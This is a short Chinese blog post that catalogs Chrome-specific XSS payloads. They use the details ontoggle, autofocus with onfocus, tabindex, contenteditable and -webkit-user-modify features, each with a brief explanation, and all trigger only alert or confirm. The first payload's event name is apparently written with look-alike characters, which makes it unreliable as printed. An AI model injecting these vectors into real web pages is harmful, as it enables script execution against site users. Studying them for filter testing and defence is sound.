关于谷歌浏览器特性的一些xss payload

这篇博客探讨了HTML的autofocus属性、tabindex和contenteditable如何结合使用来实现页面焦点控制和交互效果。通过示例展示了如何在Chrome浏览器中利用这些特性创建弹窗、自定义标签的tab切换以及可编辑内容的焦点事件。同时,还提到了`-webkit-user-modify`样式属性,用于控制元素的可编辑性。
摘要由CSDN通过智能技术生成

details 标签

details标签用于描述文档或文档某个部分的细节,目前只有 Chrome 支持 details标签

">'><details/open/οntοggle=confirm(1)>

autofocus属性

说明

autofocus 属性规定当页面加载时标签内元素应该自动获得焦点

onfocus 事件在对象获得焦点时发生

结合起来即可达到弹窗效果

在chrome中autofocus可以与所有HTML标签一起使用,可以利用autofocus属性进行自定义标签

<iframe autofocus onfocus=alert(1)>
<a autofocus onfocus=alert(23) href=#>x</a>

解释:autofocus在页面加载时自动获得焦点,而onfocus 事件在对象获得焦点时发生,所以会产生弹窗。

tabindex

tabIndex 属性可设置或返回单选按钮的 tab 键控制次序,也就是设置了该属性,可以用tab建来回切换标签

<xss tabindex=1 onfocus=alert(1) autofocus>

例如:

<a tabindex=1 onfocus=alert(1) autofocus>1
<a tabindex=2 onfocus=alert(2) autofocus>2
<a tabindex=3 onfocus=alert(3) autofocus>3
<a tabindex=3 onfocus=alert(4) autofocus>4

tab切换标签触发焦点从而弹窗

在这里插入图片描述

contenteditable

contenteditable 属性指定元素内容是否可编辑,当插入contenteditable后,标签页面将变得可以编辑,结合autofocus,聚焦时也可触发弹窗

<a onfocus=alert(1) autofocus contenteditable>111

在这里插入图片描述

user-modify
<x style="-webkit-user-modify:read-write-plaintext-only" onfocus=alert(1) autofocus>
<x style="-webkit-user-modify:read-write" onfocus=alert(1) autofocus>
<x style="-webkit-user-modify:read-write" onfocus=confirm() autofocus>    
confirm()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值